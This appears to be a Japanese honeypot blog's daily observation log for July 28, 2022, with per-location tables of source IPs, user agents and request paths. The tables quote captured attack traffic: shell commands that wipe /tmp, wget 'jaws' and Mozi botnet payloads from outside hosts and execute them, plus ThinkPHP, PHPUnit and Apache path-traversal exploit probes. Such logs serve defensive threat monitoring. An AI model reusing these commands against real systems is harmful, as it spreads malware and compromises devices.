2022/07/28 ハニーポット(仮) 観測記録 - コンニチハレバレトシタアオゾラ

ハニーポット(仮) 観測記録 2022/07/28分です。

特徴

共通

Apache HTTP Serverの脆弱性(CVE-2021-41773)を狙うアクセス
GPONルータの脆弱性を狙うアクセス
Liferay Portal JSON Web Serviceの脆弱性(CVE-2020-7961)を狙うアクセス
PHPUnitの脆弱性(CVE-2017-9841)を狙うアクセス
Spring Cloud Gatewayの脆弱性(CVE-2022-22947)を狙うアクセス
ThinkPHPの脆弱性を狙うアクセス
zgrabによるスキャン行為
/.awsへのスキャン行為
/.envへのスキャン行為
Apache Solrへのスキャン行為
Laravelへのスキャン行為

Location:JP

D-link製品の脆弱性を狙うアクセス
/.gitへのスキャン行為

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget  qwugdsabbdsdeeeeb212c.bydthkk.top/jaws;
sh /tmp/jaws

cd /tmp;
rm -rf *;
wget  rischyo.cf/jaws;
sh /tmp/jaws

Location:US

D-link製品の脆弱性を狙うアクセス
Spring Bootの脆弱性を狙うアクセス
/.gitへのスキャン行為

を確認しました。

Location:UK

NetGear製品の脆弱性を狙うアクセス
Spring Bootの脆弱性を狙うアクセス
curlによるスキャン行為
UserAgentがHello, worldであるアクセス

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget networkmapping.xyz/jaws;
sh /tmp/jaws

Location:SG

NetGear製品の脆弱性を狙うアクセス
/.gitへのスキャン行為
phpMyAdminへのスキャン行為
UserAgentがHello, Worldであるアクセス
UserAgentがHello, worldであるアクセス

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget  qwugdsabbdsdeeeeb212c.bydthkk.top/jaws;
sh /tmp/jaws

cd /tmp;
rm -rf *;
wget http://192.168.1.1:8088/Mozi.a;
chmod 777 Mozi.a;
/tmp/Mozi.a jaws

他

アクセス数推移

JP：総アクセス数：85 (前日比：-3)
US：総アクセス数：74 (前日比：-162)
UK：総アクセス数：52 (前日比：-129)
SG：総アクセス数：72 (前日比：-51)

都合により GET / HTTP/1.1 POST / HTTP/1.1 は除いています。

Location:JP

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	23.94.82.42	United States
4	27.124.5.116	Singapore
1	44.203.109.84	United States
1	52.158.40.37	United States
1	59.36.168.250	China
1	80.94.92.32	Romania
1	93.78.241.42	Ukraine
16	95.214.235.205	Ukraine
1	101.51.138.69	Thailand
1	109.206.241.24	Bulgaria
2	109.237.103.118	Russia
2	109.237.103.123	Russia
1	128.14.134.170	United States
7	135.125.217.54	France
9	135.125.246.110	France
1	137.184.33.230	United States
1	137.184.84.171	United States
2	143.92.32.161	Singapore
1	143.92.32.170	Singapore
1	147.182.224.91	United States
1	147.182.255.203	United States
4	163.123.143.71	United States
1	163.123.143.216	United States
1	164.92.85.208	United States
1	172.104.131.24	United States
1	178.60.27.186	Spain
1	180.149.125.169	Mongolia
1	180.149.125.172	Mongolia
11	185.7.214.104	Hong Kong
1	189.41.213.59	Brazil
1	192.241.202.59	United States
1	192.241.209.73	United States
1	192.241.219.125	United States
1	193.56.29.120	United Kingdom
1	198.235.24.34	United States
1	205.210.31.24	United States
1	212.71.233.51	United States

UserAgent一覧

件数	UserAgent
10	`-`
3	`Go-http-client/1.1`
1	`Mozila/5.0`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36`
3	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36`
11	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0`
2	`Mozilla/5.0 (Windows NT 5.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36`
43	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36`
5	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0`
2	`Mozilla/5.0 zgrab/0.x`
1	`python-requests/2.25.1`
1	`python-requests/2.27.1`

リクエスト内容一覧

件数	Method	Request	Protocol
1		`ABCDEFGHIJKLMNOPQRSTUVWXYZ9999`
1		`MGLNDD_18.179.20.5_80\n`
2		`\x16\x03\x01\x01D\x01`
4		`\x16\x03\x01`
1	GET	`/.aws/credentials`	HTTP/1.1
43	GET	`/.env`	HTTP/1.1
2	GET	`/.git/config`	HTTP/1.1
1	GET	`/?XDEBUG_SESSION_START=phpstorm`	HTTP/1.1
1	GET	`/?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php>`	HTTP/1.1
1	GET	`/_ignition/execute-solution`	HTTP/1.1
1	GET	`/_profiler/empty/search/results`	HTTP/1.1
1	GET	`/actuator/gateway/routes`	HTTP/1.1
1	GET	`/admin/`	HTTP/1.1
1	GET	`/c/`	HTTP/1.1
1	GET	`/console/`	HTTP/1.1
1	GET	`/favicon.ico`	HTTP/1.1
1	GET	`/hudson`	HTTP/1.1
1	GET	`/index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP21`	HTTP/1.1
3	GET	`/map/baidumap.xml`	HTTP/1.1
1	GET	`/portal/redlion`	HTTP/1.1
1	GET	`/robots.txt`	HTTP/1.1
1	GET	`/shell?cd+/tmp;rm+-rf+*;wget+ qwugdsabbdsdeeeeb212c.bydthkk.top/jaws;sh+/tmp/jaws`
1	GET	`/shell?cd+/tmp;rm+-rf+*;wget+ rischyo.cf/jaws;sh+/tmp/jaws`
1	GET	`/sitemap.xml`	HTTP/1.1
1	GET	`/solr/admin/info/system?wt=json`	HTTP/1.1
1	GET	`/stalker_portal/server/tools/auth_simple.php`	HTTP/1.1
1	GET	`/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	POST	`/Autodiscover/Autodiscover.xml`	HTTP/1.1
1	POST	`/HNAP1/`	HTTP/1.1
5	POST	`/boaform/admin/formLogin`	HTTP/1.1
1	POST	`/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh`	HTTP/1.1
1	POST	`/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1

Location:US

送信元IPアドレス一覧

件数	送信元IPアドレス	国
2	3.144.215.126	United States
1	20.225.218.1	United States
4	27.124.32.138	Singapore
1	44.205.9.6	United States
1	51.79.204.138	Canada
4	71.6.158.166	United States
1	103.170.93.29	India
1	103.181.57.228	India
1	107.152.42.143	United States
1	107.182.129.137	United States
1	109.206.241.24	Bulgaria
2	109.237.103.118	Russia
2	109.237.103.123	Russia
1	134.122.15.163	United States
1	134.122.132.6	Singapore
1	143.92.32.26	Singapore
1	143.198.129.219	United States
4	157.245.139.241	United States
1	159.203.122.150	United States
2	161.35.8.175	United States
1	162.142.125.121	United States
1	162.221.192.26	United States
3	163.123.143.71	United States
1	163.123.143.216	United States
1	167.71.253.57	United States
1	167.94.138.62	United States
1	172.104.131.24	United States
2	179.60.147.151	Belize
2	180.149.125.168	Mongolia
11	185.7.214.104	Hong Kong
1	185.73.124.50	Estonia
9	185.254.196.223	Ukraine
1	192.241.213.236	United States
1	192.241.219.252	United States
1	192.241.220.26	United States
2	194.165.16.10	Panama
1	205.210.31.144	United States
1	205.210.31.161	United States

UserAgent一覧

件数	UserAgent
22	`-`
8	`Go-http-client/1.1`
1	`Mozila/5.0`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:80.0) Gecko/20100101 Firefox/80.0`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36`
2	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36`
11	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36`
2	`Mozilla/5.0 (Windows NT 5.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36`
15	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36`
3	`Mozilla/5.0 (X11; Linux x86_64; rv:73.0) Gecko/20100101 Firefox/73.0`
5	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0`
2	`Mozilla/5.0 zgrab/0.x`
1	`python-requests/2.25.1`

リクエスト内容一覧

件数	Method	Request	Protocol
1		`ABCDEFGHIJKLMNOPQRSTUVWXYZ9999`
1		`MGLNDD_34.68.118.83_80\n`
5		`\x03`
2		`\x16\x03\x01\x01D\x01`
6		`\x16\x03\x01`
1	GET	`/.aws/credentials`	HTTP/1.1
14	GET	`/.env`	HTTP/1.1
1	GET	`/.git/config`	HTTP/1.1
1	GET	`/.well-known/security.txt`	HTTP/1.1
1	GET	`/?XDEBUG_SESSION_START=phpstorm`	HTTP/1.1
1	GET	`/?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php>`	HTTP/1.1
1	GET	`/_ignition/execute-solution`	HTTP/1.1
1	GET	`/actuator/gateway/routes`	HTTP/1.1
1	GET	`/actuator/health`	HTTP/1.1
1	GET	`/admin/`	HTTP/1.1
1	GET	`/boaform/admin/formLogin?username=ec8&psd=ec8`	HTTP/1.0
1	GET	`/boaform/admin/formLogin?username=user&psd=user`	HTTP/1.0
1	GET	`/c/`	HTTP/1.1
1	GET	`/console/`	HTTP/1.1
6	GET	`/favicon.ico`	HTTP/1.1
1	GET	`/index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP21`	HTTP/1.1
2	GET	`/map/baidumap.xml`	HTTP/1.1
2	GET	`/metrics`	HTTP/1.1
1	GET	`/portal/redlion`	HTTP/1.1
3	GET	`/robots.txt`	HTTP/1.1
3	GET	`/sitemap.xml`	HTTP/1.1
1	GET	`/solr/admin/info/system?wt=json`	HTTP/1.1
1	GET	`/stalker_portal/server/tools/auth_simple.php`	HTTP/1.1
1	GET	`/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	POST	`/Autodiscover/Autodiscover.xml`	HTTP/1.1
1	POST	`/HNAP1/`	HTTP/1.1
5	POST	`/boaform/admin/formLogin`	HTTP/1.1
1	POST	`/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh`	HTTP/1.1
1	POST	`/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
2	PRI	`*`	HTTP/2.0

Location:UK

送信元IPアドレス一覧

件数	送信元IPアドレス	国
2	20.14.97.133	United States
1	39.105.54.139	China
7	47.252.7.22	United States
1	64.62.197.86	United States
1	66.240.192.82	United States
1	67.129.123.70	United States
1	109.206.241.24	Bulgaria
2	109.237.103.118	Russia
1	117.195.100.127	India
1	125.75.11.3	China
1	128.14.134.170	United States
1	139.162.205.145	Netherlands
1	143.92.32.39	Singapore
1	143.92.32.170	Singapore
3	163.123.143.71	United States
1	172.104.131.24	United States
1	172.104.138.223	United States
1	180.149.125.163	Mongolia
1	180.149.125.170	Mongolia
11	185.7.214.104	Hong Kong
1	185.73.124.50	Estonia
1	192.64.81.86	United States
1	192.241.206.134	United States
1	192.241.213.20	United States
1	192.241.213.68	United States
1	192.241.219.178	United States
2	194.165.16.73	Panama
1	205.210.31.19	United States
1	205.210.31.139	United States
1	212.119.35.4	Netherlands
1	217.146.82.180	United Kingdom

UserAgent一覧

件数	UserAgent
15	`-`
1	`Go-http-client/1.1`
2	`Hello, world`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36`
2	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36`
11	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.77 Safari/537.36`
2	`Mozilla/5.0 (Windows NT 5.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36`
3	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36`
4	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0`
4	`Mozilla/5.0 (compatible;)`
4	`Mozilla/5.0 zgrab/0.x`
1	`Safari/4.0 (Macintosh 3.1; rv:2.0.1) Gecko/20100101 Firefox/4.4.1`
1	`curl/7.75.0`

リクエスト内容一覧

件数	Method	Request	Protocol
1		`-`
1		`ABCDEFGHIJKLMNOPQRSTUVWXYZ9999`
1		`MGLNDD_132.145.66.34_80\n`
3		`\x03`
1		`\x16\x03\x01\x01D\x01`
3		`\x16\x03\x01\x02`
4		`\x16\x03\x01`
1	CONNECT	`httpbin[.]org:443`	HTTP/1.1
1	GET	`/.aws/credentials`	HTTP/1.1
2	GET	`/.env`	HTTP/1.1
1	GET	`/?XDEBUG_SESSION_START=phpstorm`	HTTP/1.1
1	GET	`/?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php>`	HTTP/1.1
1	GET	`/HNAP1`	HTTP/1.1
1	GET	`/_ignition/execute-solution`	HTTP/1.1
1	GET	`/actuator/gateway/routes`	HTTP/1.1
1	GET	`/actuator/health`	HTTP/1.1
1	GET	`/admin/`	HTTP/1.1
1	GET	`/c/`	HTTP/1.1
1	GET	`/console/`	HTTP/1.1
1	GET	`/evox/about`	HTTP/1.1
2	GET	`/favicon.ico`	HTTP/1.1
1	GET	`/fuN3`	HTTP/1.0
1	GET	`/hudson`	HTTP/1.1
1	GET	`/index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP21`	HTTP/1.1
2	GET	`/map/baidumap.xml`	HTTP/1.1
1	GET	`/portal/redlion`	HTTP/1.1
1	GET	`/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http[:]//117[.]195[.]100[.]127:48434/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1`	HTTP/1.0
2	GET	`/shell?cd+/tmp;rm+-rf+*;wget+networkmapping[.]xyz/jaws;sh+/tmp/jaws`	HTTP/1.1
1	GET	`/solr/admin/info/system?wt=json`	HTTP/1.1
1	GET	`/stalker_portal/server/tools/auth_simple.php`	HTTP/1.1
1	GET	`/text4041658937735`	HTTP/1.1
1	GET	`/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	HEAD	`/`	HTTP/1.1
1	POST	`/Autodiscover/Autodiscover.xml`	HTTP/1.1
4	POST	`/boaform/admin/formLogin`	HTTP/1.1
1	POST	`/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh`	HTTP/1.1
1	POST	`/sdk`	HTTP/1.1
1	POST	`/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1

Location:SG

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	3.235.127.33	United States
11	51.79.29.48	Canada
1	58.37.32.42	China
2	66.240.192.82	United States
1	75.119.141.119	Germany
2	80.66.88.211	Russia
1	87.251.75.89	Russia
1	109.206.241.9	Bulgaria
2	109.237.103.9	Russia
2	109.237.103.118	Russia
2	109.237.103.123	Russia
1	115.230.76.84	China
1	118.172.201.211	Thailand
1	120.85.92.203	China
4	122.165.245.122	India
1	128.1.248.26	United States
1	137.184.33.230	United States
1	137.184.84.171	United States
1	147.182.205.218	United States
1	148.64.121.254	United States
1	159.203.122.150	United States
3	163.123.143.71	United States
1	164.92.85.208	United States
1	172.104.131.24	United States
1	180.149.125.165	Mongolia
1	180.149.125.167	Mongolia
12	185.7.214.104	Hong Kong
1	185.73.124.50	Estonia
8	185.254.196.223	Ukraine
1	192.241.220.78	United States
1	192.241.220.178	United States
1	198.235.24.16	United States
1	205.210.31.134	United States
1	212.71.233.51	United States

UserAgent一覧

件数	UserAgent
18	`-`
1	`Hello, World`
1	`Hello, world`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36`
12	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36`
2	`Mozilla/5.0 (Windows NT 5.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36`
29	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36`
1	`Mozilla/5.0 (X11; Linux x86_64; rv:73.0) Gecko/20100101 Firefox/73.0`
3	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0`
1	`Mozilla/5.0 (compatible; YandexBot/3.0; +http[:]//yandex[.]com/bots)`
1	`Mozilla/5.0 zgrab/0.x`
1	`Opera/9.60 (J2ME/MIDP; Opera Mini/4.1.11320/608; U; en) Presto/2.2.0`
1	`python-requests/2.25.1`

リクエスト内容一覧

件数	Method	Request	Protocol
1		`ABCDEFGHIJKLMNOPQRSTUVWXYZ9999`
1		`MGLNDD_13.67.44.234_80`
4		`\x03`
3		`\x16\x03\x01\x01D\x01`
7		`\x16\x03\x01`
1	GET	`/.aws/credentials`	HTTP/1.1
28	GET	`/.env`	HTTP/1.1
1	GET	`/.git/config`	HTTP/1.1
1	GET	`/?XDEBUG_SESSION_START=phpstorm`	HTTP/1.1
1	GET	`/?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php>`	HTTP/1.1
1	GET	`/_ignition/execute-solution`	HTTP/1.1
2	GET	`/actuator/gateway/routes`	HTTP/1.1
1	GET	`/admin/`	HTTP/1.1
1	GET	`/c/`	HTTP/1.1
1	GET	`/console/`	HTTP/1.1
1	GET	`/favicon.ico`	HTTP/1.1
1	GET	`/hudson`	HTTP/1.1
1	GET	`/index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP21`	HTTP/1.1
2	GET	`/phpmyadmin/index.php`	HTTP/1.1
1	GET	`/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http[:]//115[.]230[.]76[.]84:39477/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1`	HTTP/1.0
1	GET	`/shell?cd+/tmp;rm+-rf+*;wget+ qwugdsabbdsdeeeeb212c.bydthkk.top/jaws;sh+/tmp/jaws`
1	GET	`/shell?cd+/tmp;rm+-rf+*;wget+http[:]//192[.]168[.]1[.]1:8088/Mozi.a;chmod+777+Mozi[.]a;/tmp/Mozi.a+jaws`	HTTP/1.1
1	GET	`/solr/admin/info/system?wt=json`	HTTP/1.1
1	GET	`/stalker_portal/server/tools/auth_simple.php`	HTTP/1.1
1	GET	`/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	POST	`/Autodiscover/Autodiscover.xml`	HTTP/1.1
1	POST	`/GponForm/diag_Form?images/`	HTTP/1.1
3	POST	`/boaform/admin/formLogin`	HTTP/1.1
1	POST	`/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh`	HTTP/1.1
1	POST	`/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1